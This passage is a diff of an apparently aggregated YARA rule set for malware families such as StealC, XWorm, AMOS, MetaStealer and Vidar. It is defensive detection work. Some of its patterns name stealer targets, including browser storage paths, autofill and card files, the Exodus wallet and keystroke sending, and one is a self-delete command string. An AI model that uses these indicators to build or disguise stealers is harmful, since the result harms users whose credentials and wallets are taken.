and filesize < 1MB and @s3 > 100 + all of them and filesize > 250MB } -rule RUSSIANPANDA_Zinfoq : FILE +rule RUSSIANPANDA_Solarphantom : FILE { meta: - description = "Detects ZinFoq implant" + description = "SolarPhantom Backdoor Detection" author = "RussianPanda" - id = "e88a2941-2e73-5dc4-8894-c03236c3a61e" - date = "2025-12-08" - modified = "2025-12-09" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZinFoq/linux_mal_zinfoq.yar#L1-L13" + id = "f564a943-e83b-5c1b-ba8c-b227d69d3fd8" + date = "2023-06-22" + modified = "2023-12-11" + reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarphantom.yar#L1-L16" license_url = "N/A" - hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce" - logic_hash = "e14d7968bc9752550924cd20d7e48622e97aeecd03975de91075cef9d677ab3f" + logic_hash = "3b49d301e625d5abf1b726481a80d6a97d33acd3301c12964f2f37d37130c1b7" score = 75 - quality = 85 + quality = 83 tags = "FILE" strings: - $s1 = "_FlAg_UuId;;;;;;" - $s2 = "interactive_shell" - $s3 = "explorer_download" + $p1 = {B8 94 E3 46 00 E8 C6 EB FA FF 8B 45 F8} + $p2 = {68 E8 EF 46 00 FF 75 E4} + $p3 = {62 72 76 70 72 66 5f 62 6b 70} condition: - uint32( 0 ) == 0x464c457f and all of them + uint16( 0 ) == 0x5A4D and 1 of ( $p* ) and filesize < 600KB } -rule RUSSIANPANDA_Win_Mal_Stealc_V2 : FILE + +rule RUSSIANPANDA_Solarmarker_Loader : FILE { meta: - description = "Detects StealC v2" + description = "Detects SolarMarker loader 1-4-2024" author = "RussianPanda" - id = "052f4556-ddba-5187-8dcb-138f02bc4c36" - date = "2025-04-10" - modified = "2025-04-10" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/StealC/win_mal_StealC_v2.yar#L1-L12" + id = "b385fcd4-62b7-5a83-8a2e-6841fdd17526" + date = "2024-01-04" + modified = "2024-01-04" + reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_backdoor.yar#L3-L19" license_url = "N/A" - hash = "bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97" - logic_hash = "1715ef4e1914a50d8f4a0644ddfd7f9bb2b6f0ec0dfc77615dce4dd5fc943166" + hash = "8eeefe0df0b057fc866b8d35625156de" + logic_hash = "035eccb41f2ecdeb196003542c165cedad96e3e8e741511b4beda3dfe1ece74e" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {48 8d ?? ?? ?? ?? 00 48 8d} - $s2 = {0F B7 C8 81 E9 19 04 00 00 74 14 83 E9 09 74 0F 83 E9 01 74 0A 83 E9 1C 74 05 83 F9 04 75 08} + $s1 = {06 [0-7] 58 D1 8C [3] 01 28 [3] 0A 0A} condition: - uint16( 0 ) == 0x5A4D and #s1 > 500 and all of them and filesize < 900KB + all of ( $s* ) and #s1 > 5 and filesize < 7MB and pe.imports ( "mscoree.dll" ) } -rule RUSSIANPANDA_Jinxloader : FILE +rule RUSSIANPANDA_Pikabot_1 : FILE { meta: - description = "Detects JinxLoader Golang version" + description = "Detects PikaBot" author = "RussianPanda" - id = "25570c99-5938-5be0-a153-a07be0d0571c" + id = "e740b821-69cc-5053-9f90-439b4364656f" date = "2024-01-02" modified = "2024-01-02" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JinxLoader/JinxLoader-1-2-2024.yar#L1-L16" + reference = "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PikaBot/Pikabot_1-2-2024.yar#L1-L16" license_url = "N/A" - hash = "6bd7ff5d764214f239af2bb58b368308c2d04f1147678c2f638f37a893995f71" - logic_hash = "13dee435fb4d40c629c0a30b6f655b87f14b10a6f6acf61d00e6c692c9bb0ff1" + logic_hash = "f2dd26c23aba72c2b6b959fb411381b7d3a7466f94bf5259f57e96e44d3ee153" score = 75 - quality = 81 + quality = 85 tags = "FILE" strings: - $s1 = {72 75 6E 74 69 6D 65 2E 67 6F 70 61 6E 69 63} - $s2 = {48 8D 05 4D 6E 07 00 BB 0A 00 00 00} - $s3 = {73 65 6C 66 5F 64 65 73 74 72 75 63 74 2E 62 61 74} - $s4 = {48 8D 1D B7 24 08 00 [25] E8 EF FC E4 FF} + $s1 = {8A 04 11 30 02 42 83 EE 01 75 F5 5E C3} + $s2 = {C0 E9 02 C0 E0 04 [13] C0 E2 06 02 D0} + $s3 = {8D 53 BF 80 FA 19 0F B6 C3} condition: - uint16( 0 ) == 0x5A4D and all of ( $s* ) and filesize < 9MB + uint16( 0 ) == 0x5A4D and 2 of ( $s* ) and filesize < 500KB } -rule RUSSIANPANDA_Prysmax_Stealer : FILE +rule RUSSIANPANDA_Ghostgambit : FILE { meta: - description = "Detects Prysmax Stealer" + description = "Detects GhostGambit dropper" author = "RussianPanda" - id = "97ab92b8-1771-5881-9cd1-d8ff76b8f380" - date = "2024-01-09" - modified = "2024-01-10" - reference = "https://www.cyfirma.com/outofband/new-maas-prysmax-launches-fully-undetectable-infostealer/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Prysmax Stealer/prysmax_stealer.yar#L1-L21" + id = "0348b9fa-59be-5f30-8ebc-f1e87cf98b07" + date = "2024-07-09" + modified = "2024-07-09" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GhostGambit/GhostGambit.yar#L1-L14" license_url = "N/A" - logic_hash = "869eee7dd5209bdea98c248791b9ac911e3daabe6d440aa62aecefa43539a41c" + hash = "2b16c68d9bafbd2ecf3634d991d7c794" + logic_hash = "419efbea3c347d0ec9365c0c21cccb6f229f8c42d22a2bcfdf14854e7f83aea1" score = 75 - quality = 73 + quality = 85 tags = "FILE" strings: - $a1 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23} - $s2 = {73 70 72 79 73 6D 61 78} - $s3 = {56 43 52 55 4E 54 49 4D 45 31 34 30 2E 64 6C 6C} - $s4 = {56 43 52 55 4E 54 49 4D 45 31 34 30 5F 31 2E 64 6C 6C} - $s5 = {4D 53 56 43 50 31 34 30 2E 64 6C 6C} - $s6 = {50 79 49 6E 73 74 61 6C 6C 65 72} + $s1 = "/code32" ascii wide + $s2 = "/reg32" ascii wide + $s3 = "ZhuDongFangYu.exe" ascii wide + $s4 = "/c ping -n 4 127.0.0.1 > nul && del" ascii wide condition: - all of ( $s* ) and uint16( 0 ) == 0x5A4D and $a1 in ( 9600000 .. filesize ) and #a1 > 600 and filesize > 60MB and filesize < 200MB + uint16( 0 ) == 0x5A4D and all of them } - -rule RUSSIANPANDA_Bandit_Stealer : FILE +rule RUSSIANPANDA_Mal_Narniarat : FILE { meta: - description = "Detects the latest build of Bandit Stealer" + description = "Detects NarniaRAT from BotnetFenix campaign" author = "RussianPanda" - id = "ed61177d-d70d-5062-8703-f2f2b9d63751" - date = "2023-05-05" - modified = "2023-05-05" + id = "64c3a44b-5d75-5fec-bfc1-b66a5eb5780c" + date = "2024-02-02" + modified = "2024-02-02" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/BanditStealer/bandit_stealer.yar#L3-L21" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/NarniaRAT/mal_NarniaRAT.yar#L1-L16" license_url = "N/A" - logic_hash = "304bf05a58d5b762ffe078457739188692f4f7109db929418832c4379b21ae72" - score = 50 + hash = "43f6c3f92a025d12de4c4f14afa5d098" + logic_hash = "3ee8bf6b3970c6f56ca98c87752050217e350da160a650e1724b19f340bf0230" + score = 75 quality = 85 tags = "FILE" strings: - $s1 = {48 8D 35 ?? ?? B6 FF 48 8D BE DB ?? ?? FF 48 8D 87 AC ?? ?? 00 FF 30 C7 00 ?? ?? ?? ?? 50 57 31 DB 31 C9} - $s2 = {48 FF C0 88 17 83 E9 01 8A 10 48 8D 7F 01 75 F0} + $s1 = "client-remote desktop" + $s2 = "SendDataToServer" + $s3 = "SendRunningApps" + $s4 = "SendDataToServer" + $s5 = "SendKeys" + $s6 = "_CorExeMain" condition: - all of ( $s* ) and ( uint16( 0 ) == 0x5A4D or uint32( 0 ) == 0x4464c457f ) and pe.sections [ 0 ] . name contains "UPX0" and pe.sections [ 1 ] . name contains "UPX1" and pe.sections [ 0 ] . characteristics & pe.SECTION_MEM_EXECUTE and pe.sections [ 0 ] . characteristics & pe.SECTION_MEM_WRITE and pe.sections [ 1 ] . characteristics & pe.SECTION_MEM_EXECUTE and pe.sections [ 1 ] . characteristics & pe.SECTION_MEM_WRITE + uint16( 0 ) == 0x5A4D and 5 of them } -rule RUSSIANPANDA_Fakebat_Powershell +rule RUSSIANPANDA_Win_Mal_Gobitloader : FILE { meta: - description = "Detects FakeBat PowerShell scripts" + description = "Detects GoBitLoader" author = "RussianPanda" - id = "76149a6f-c370-5e48-82cc-c89b545c0aa8" - date = "2023-12-01" - modified = "2023-12-01" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FakeBat/fakebat_powershell.yar#L1-L13" + id = "4ebc7987-c1b2-5682-943f-7c19a9cb6b36" + date = "2024-03-24" + modified = "2024-03-24" + reference = "https://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GoBitLoader/win_mal_GoBitLoader.yar#L1-L13" license_url = "N/A" - logic_hash = "df6b30d97ac6c9b248fed0d901e8a0a6ad1d855483a5006b008b839d9961092a" + logic_hash = "66951b290bef6a6c9eef4ea674472465dfe0ec5072dce21f48b58191f7ce90e3" score = 75 - quality = 85 - tags = "" + quality = 79 + tags = "FILE" strings: - $s1 = "$LoadDomen/?status=start&av=" nocase - $s2 = "$xxx.gpg" nocase + $s1 = {6D 61 69 6E 2E 52 65 64 69 72 65 63 74 54 6F 50 61 79 6C 6F 61 64} + $s2 = {6D 61 69 6E 2E 48 6F 6C 6C 6F 77 50 72 6F 63 65 73 73} + $s3 = {6D 61 69 6E 2E 41 65 73 44 65 63 6F 64 65 2E 66 75 6E 63 31} condition: - all of ( $s* ) + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Mal_Asuka_Stealer : FILE +rule RUSSIANPANDA_Win_Mal_Xworm : FILE { meta: - description = "Detects AsukaStealer" + description = "Detects XWorm RAT" author = "RussianPanda" - id = "a718be5f-dc76-5610-9237-038a9719d7e5" - date = "2024-02-02" - modified = "2024-03-18" + id = "5701f382-3c97-5a00-9673-6c39b0f11cc2" + date = "2024-03-11" + modified = "2024-03-11" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AsukaStealer/mal_asuka_stealer.yar#L1-L12" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XWorm/win_mal_XWorm.yar#L1-L15" license_url = "N/A" - logic_hash = "7974e0de821ddcafd4f00b27d587108f0d80f8a231dd0db4d2be4fa6ab44fef4" + hash = "fc422800144383ef6e2e0eee37e7d6ba" + logic_hash = "c42544285517dc61628e8df2ee5ab6733924fbb2cc08b9b2df273eec0a401d90" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {32 14 3E E8 F6 81 00 00} - $s2 = {00 58 00 2D 00 43 00 6F 00 6E 00 66 00 69 00 67} - $s3 = {58 00 2D 00 49 00 6E 00 66 00 6F} + $s1 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21} + $s2 = {50 00 6C 00 75 00 67 00 69 00 6E 00 73 00 20 00 52 00 65 00 6D 00 6F 00 76 00 65 00 64 00 21} + $s3 = {73 00 65 00 6E 00 64 00 50 00 6C 00 75 00 67 00 69 00 6E} + $s4 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21} + $s5 = "_CorExeMain" condition: uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Atomic_Stealer : FILE +rule RUSSIANPANDA_Win_Mal_Zloader : FILE { meta: - description = "Detects Atomic Stealer targering MacOS" + description = "Detects Zloader and other Zloader modules that employ the same encryption" author = "RussianPanda" - id = "259c5c33-0164-568f-aec4-4fe0a2c6d015" - date = "2024-01-13" - modified = "2024-01-17" - reference = "https://www.bleepingcomputer.com/news/security/macos-info-stealers-quickly-evolve-to-evade-xprotect-detection/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AtomicStealer/Atomic_Stealer.yar#L1-L27" + id = "3f72e067-c82b-5c65-92c8-010955971d87" + date = "2024-03-10" + modified = "2024-03-10" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Zloader/win_mal_Zloader.yar#L1-L13" license_url = "N/A" - hash = "dd8aa38c7f06cb1c12a4d2c0927b6107" - logic_hash = "7601e508aeccba943b54e675212993920c984271f655e68c19efaf6d12cfebd5" + logic_hash = "9ac9e8ca4a6f84e1bccac2292705ee6ebbc1595eb3f40ed777f7973e9bda7fc1" score = 75 - quality = 58 + quality = 85 tags = "FILE" strings: - $s1 = {8B 09 83 C1 (01|02|04|05|03) 39 C8 0F 85 38 00 00 00 48 8B 85} - $s2 = {C7 40 04 00 00 00 00 C6 40 08 00 C6 40 09 00} - $t1 = {80 75 D?} - $t2 = {0F 57 05 ?? 1B 01 00} - $t3 = {8A 06 34 DE 88 07 8A 46 01 34 DF 88 47 01} - $c1 = {28 ?? 40 39} - $c2 = {64 65 73 6B 77 61 6C 6C 65 74 73} + $s1 = {8B 45 ?? 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 8B 45 ?? 99 F7 F9 8B 45 ?? 48 63 D2 48 8D 0D ?? ?? ?? 00 0F BE 0C 11 31 C8 88 C2 48 8B 45 F0 48 63 4D} + $s2 = {48 63 C9 44 0F B6 04 08 48 8B 45 E8 8B 4D D4 0F B6 14 08 44 31 C2 88 14 08 8B 45 D4} + $s3 = {B9 11 00 00 00 99 F7 F9 8B [0-20] 31 C8 88 C2} + $s4 = {8B 45 ?? BE 11 00 00 00 99 F7 [0-20] 83 F6 FF} condition: - ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca ) and all of ( $s* ) and #s1 > 60 and #s2 > 100 or ( all of ( $t* ) and #t1 > 10 and #t2 > 5 ) or ( #c1 > 200 and $c2 ) + uint16( 0 ) == 0x5A4D and any of them } -rule RUSSIANPANDA_Lummac2 : FILE +rule RUSSIANPANDA_AMOS_Stealer : FILE { meta: - description = "Detects LummaC2 Stealer" + description = "Detects AMOS Stealer" author = "RussianPanda" - id = "94d6b63f-066e-59d2-9d14-24c5d5219ba8" - date = "2024-09-12" - modified = "2024-09-12" + id = "481c0abc-efa6-5965-a5b8-0164229130e1" + date = "2025-04-11" + modified = "2025-04-11" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LummaC2/LummaC2.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer_4_25.yar#L1-L24" license_url = "N/A" - hash = "988f54f9694dd1ae701bacec3b83c752" - logic_hash = "875709f48ff93c8e986f3c1d2e32268bf3458d870082072e7727d8ec85b1a021" + hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996" + logic_hash = "dffaf67bdfb8db07f69fb00720a6638e7a89db2acc1d848d635031a0aec5bdd3" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {0F B6 [2-6] 83 ?? 1F} - $s2 = {F3 A5 8B 74 24 F8 8B 7C 24 F4 8D 54 24 04 FF 54 24 FC C3} + $op1 = {E8 ?? ?? ?? ?? EB 00 48 8D} + $op2 = {48 8D BD ?? ?? FF FF E8 ?? ?? 00 00 48 8D BD} condition: - uint16( 0 ) == 0x5A4D and all of them + ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 50000 and #op2 > 4 ) } -rule RUSSIANPANDA_Mal_Nitrogen : FILE +rule RUSSIANPANDA_AMOS_Stealer_1 : FILE { meta: - description = "Detects Nitrogen campaign" + description = "Detects AMOS Stealer" author = "RussianPanda" - id = "9d591f87-47ec-54ea-b0ae-26a0542733a0" - date = "2024-02-04" - modified = "2024-02-04" + id = "f2abe03e-7a29-514d-9125-9ec9d0875179" + date = "2025-03-31" + modified = "2025-04-11" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Nitrogen/mal_nitrogen.yar#L1-L15" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer.yar#L1-L24" license_url = "N/A" - logic_hash = "642d5a16c7fb217a297bba683221de474eb028ac48ec8f52be897eaa056acb9b" + hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996" + logic_hash = "64bf0753e2696633ed255df9350a01cb1e75fd6e6c0d4fe48194927acf7e2363" score = 75 - quality = 79 + quality = 85 tags = "FILE" strings: - $s1 = {63 7C 77 7B F2 6B 6F C5} - $s2 = {52 09 6A D5 30 36 A5 38} - $s3 = {6F 72 69 67 69 6E 61 6C 5F 69 6E 73 74 61 6C 6C} - $s4 = {43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 44 6F 77 6E 6C 6F 61 64} - $s5 = {25 00 43 00 55 00 52 00 52 00 45 00 4E 00 54 00 5F 00 44 00 45 00 52 00 45 00 43 00 54 00 4F 00 52 00 59 00 25} - $s6 = {4E 69 74 72 6F 67 65 6E 54 61 72 67 65 74} + $op1 = {E8 ?? ?? ?? ?? E9 00 00 00 00 48 8D} + $op2 = {48 3B 85 68 FF FF FF 0F 83 03 01 00 00 C6 85 5F FF FF FF 00 C7 85 58 FF FF FF 00 00 00 00} condition: - uint16( 0 ) == 0x5A4D and 5 of them + ( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 5000 and $op2 ) } -rule RUSSIANPANDA_Win_Mal_Matanbuchus_Loader : FILE + +rule RUSSIANPANDA_Metastealer_Core_Payload { meta: - description = "Detects Matanbuchus 3.0 Loader component" + description = "Detects MetaStealer Core Payload" author = "RussianPanda" - id = "3a7a22b3-a1aa-59d8-b947-99a2ea192a6b" - date = "2025-02-15" - modified = "2026-02-16" + id = "ff5854b5-4dac-59d7-8c5a-d5b808d63483" + date = "2023-12-29" + modified = "2023-12-29" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Matanbuchus/win_mal_Matanbuchus_loader.yar#L1-L15" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer_core_payload_12-2023.yar#L2-L19" license_url = "N/A" - hash = "ec29bcda7d42d812aebd2ee5be6e43256bcf6095b9fc36f92eec5d6475dd5e1f" - logic_hash = "a9497b30283d932c134a4bf8f965ce1bd3d590f8dec53cb65fa418a152f67581" + logic_hash = "99a319023f2c1b714a70458bd33649d6cc343b500a409af12c2eb1ce38ba4241" score = 75 - quality = 81 - tags = "FILE" + quality = 85 + tags = "" strings: - $s1 = {FF E0 F5 05 EB 0F} - $s2 = {65 78 70 61} - $s3 = {6E 64 20 33} - $s4 = {66 89 ?? ?? ?? ?? 00 00 00 66 89 ?? ?? ?? ?? 00 00 00 66 89} - $s5 = {E8 00 00 00 00 83 04 24 05 CB} + $s1 = "FileScannerRule" + $s2 = "TreeObject" + $s3 = "Schema" + $s4 = "StringDecrypt" + $s5 = "AccountDetails" condition: - uint16( 0 ) == 0x5A4D and 4 of them and filesize < 250KB + 4 of ( $s* ) and pe.imports ( "mscoree.dll" ) } -rule RUSSIANPANDA_Kaiji_Ares : FILE +rule RUSSIANPANDA_Metastealer_NET_Reactor_Packer : FILE { meta: - description = "Detects a Variant of Kaiji (Ares) observed during React2Shell exploitation" + description = "Detects NET_Reactor_packer 12-2023 used in MetaStealer" author = "RussianPanda" - id = "02bcbd60-fc14-5764-a456-061a9a6aea32" - date = "2025-12-08" - modified = "2025-12-09" + id = "5d4f62d2-6a27-53af-9b03-61daa99c10a4" + date = "2023-12-29" + modified = "2023-12-30" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Kaiji/mal_linux_kaiji_ares.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer_12-2023_packer.yar#L1-L16" license_url = "N/A" - hash = "c79fcb6c433d8a613f25b9b4c81c1c2514ac97e9aaae7c7c84a432b2476b5e4e" - logic_hash = "73d1e00deb6e0d3f78ebc8a19b237df5e869237717b62557abbc652efe000155" + logic_hash = "1951d8b05f11b8a77a5bf792ad2b0ad95b8dede936ab5cd0699383468c3c97a8" score = 75 - quality = 85 + quality = 83 tags = "FILE" strings: - $s1 = "C:/src/client/linux/ares_tcp.go" - $s2 = {E5 BC BA E5 88 B6 55 64 70} - $s3 = {B0 81 E5 8C 85} + $s1 = {C7 84 24 80 02 00 00 24 02 00 00 C6 44 24} + $s2 = "mscoree.dll" wide + $s3 = {43 61 76 69 6c 73 20 43 6f 72 70 2e 20 32 30 31 30} + $s4 = {80 F1 E7 80 F2 44 [16] 80 F1 4B 80 F2 23} condition: - uint32( 0 ) == 0x464c457f and 2 of them + 3 of ( $s* ) and filesize < 600KB } -rule RUSSIANPANDA_Swaetrat +rule RUSSIANPANDA_Metastealer { meta: - description = "Detects SwaetRAT" + description = "Detects the old version of MetaStealer 11-2023" author = "RussianPanda" - id = "e5238ae4-7ae3-505c-a3fd-ecf6be608fac" - date = "2023-11-27" - modified = "2023-11-27" + id = "c178630b-d188-5faf-86b3-436894241d77" + date = "2023-11-16" + modified = "2023-12-30" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SwaetRAT/swaetrat.yar#L3-L19" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer.yar#L2-L19" license_url = "N/A" - logic_hash = "4dc1107a34d678c3fa0939fab7986fe744ac246400823d08b1ab6db0942821da" + logic_hash = "f78b376713daf82aa2e0cbd6bf45f33d25530449fa05673c8a7c6b4c0dddca79" score = 75 quality = 85 tags = "" strings: - $s2 = "Pong" - $s3 = "ReadData" - $s4 = "DeskDrop" wide - $s5 = "OfflineGet" wide + $s1 = "FileScannerRule" + $s2 = "MSObject" + $s3 = "MSValue" + $s4 = "GetBrowsers" + $s5 = "Biohazard" condition: - all of ( $s* ) and pe.imports ( "mscoree.dll" ) + 4 of ( $s* ) and pe.imports ( "mscoree.dll" ) } rule RUSSIANPANDA_Mintsloader { @@ -169242,31 +169276,6 @@ rule RUSSIANPANDA_Mintsloader condition: 3 of them } -rule RUSSIANPANDA_Modelorat -{ - meta: - description = "Detects ModeloRAT Python RAT used by KongTuke" - author = "RussianPanda" - id = "a9d9644f-c571-527f-b2d2-964c177161a2" - date = "2026-01-16" - modified = "2026-01-16" - reference = "KongTuke CrashFix Campaign" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/KongTuke/ModeloRAT.yar#L1-L14" - license_url = "N/A" - hash = "c15f44d6abb3a2a882ffdc9b90f7bb5d1a233c0aa183eb765aa8bfba5832c8c6" - logic_hash = "9c3f87463ad09f3d1ac36823b096d7b066ce51393086509c3dfd1bbd73210ebb" - score = 75 - quality = 85 - tags = "" - - strings: - $s1 = "UnnecessarilyProlongedCryptographicMechanismImplementationClass" - $s2 = "_enumerate_executing_processes" - $s3 = "_enumerate_network_connections" - - condition: - all of them -} rule RUSSIANPANDA_Gatekeeperpayload : FILE { meta: @@ -169294,357 +169303,295 @@ rule RUSSIANPANDA_Gatekeeperpayload : FILE condition: all of ( $s* ) and filesize < 5MB } -rule RUSSIANPANDA_Darkvnc : FILE -{ - meta: - description = "Detects DarkVNC" - author = "RussianPanda" - id = "dbc86ac8-5ea3-59a7-b3ab-68c603165720" - date = "2024-01-15" - modified = "2024-01-15" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DarkVNC/darkvnc.yar#L1-L15" - license_url = "N/A" - hash = "3c74dccd06605bcf527ffc27b3122959" - logic_hash = "1dd1246e0b22181706433f0cff9b231017e747d8faaa2db4cb9adefeab492ab7" - score = 75 - quality = 85 - tags = "FILE" - - strings: - $s1 = {66 89 84 24 ?? 00 00 00 B8 ?? 00 00 00} - $s2 = {66 31 14 41 48} - $s3 = "VncStopServer" - $s4 = "VncStartServer" - - condition: - uint16( 0 ) == 0x5A4D and 3 of them and filesize < 700KB -} -rule RUSSIANPANDA_Vidar_DLL_Embedded +rule RUSSIANPANDA_Modelorat { meta: - description = "Vidar Stealer with embedded DLL dependencies" + description = "Detects ModeloRAT Python RAT used by KongTuke" author = "RussianPanda" - id = "462fe42a-2504-5e7e-ad90-2c7e54478204" - date = "2023-05-02" - modified = "2023-05-05" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VidarStealer/vidar_ver3.6_3.7_dll_embedded.yar#L1-L21" + id = "a9d9644f-c571-527f-b2d2-964c177161a2" + date = "2026-01-16" + modified = "2026-01-16" + reference = "KongTuke CrashFix Campaign" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/KongTuke/ModeloRAT.yar#L1-L14" license_url = "N/A" - logic_hash = "98d23523c2ab196f670dc33164954fc69a1c1692fa870a476e25d7dd3cebace2" + hash = "c15f44d6abb3a2a882ffdc9b90f7bb5d1a233c0aa183eb765aa8bfba5832c8c6" + logic_hash = "9c3f87463ad09f3d1ac36823b096d7b066ce51393086509c3dfd1bbd73210ebb" score = 75 quality = 85 tags = "" strings: - $s = {50 4B 03 04 14 00 00 00 08 00 24 56 25 55 2B 6D 5C 08 39 7C 05} - $a1 = "https://t.me/mastersbots" - $a2 = "https://steamcommunity.com/profiles/76561199501059503" - $a3 = "%s\\%s\\Local Storage\\leveldb" - $a4 = "\\Autofill\\%s_%s.txt" - $a5 = "\\Downloads\\%s_%s.txt" - $a6 = "\\CC\\%s_%s.txt" - $a7 = "Exodus\\exodus.wallet" + $s1 = "UnnecessarilyProlongedCryptographicMechanismImplementationClass" + $s2 = "_enumerate_executing_processes" + $s3 = "_enumerate_network_connections" condition: - $s and 5 of ( $a* ) + all of them } -rule RUSSIANPANDA_Win_Mal_Rustydropper : FILE +rule RUSSIANPANDA_Workersdevbackdoor_PS : FILE { meta: - description = "Detects RustyDropper" + description = "Detects WorkersDevBackdoor PowerShell script" author = "RussianPanda" - id = "9f217080-81e0-547a-9336-cf8ac2fadf36" - date = "2024-03-01" - modified = "2024-03-01" + id = "d2b526c1-a9f5-57de-818c-99b02e778a0d" + date = "2023-12-15" + modified = "2023-12-15" reference = 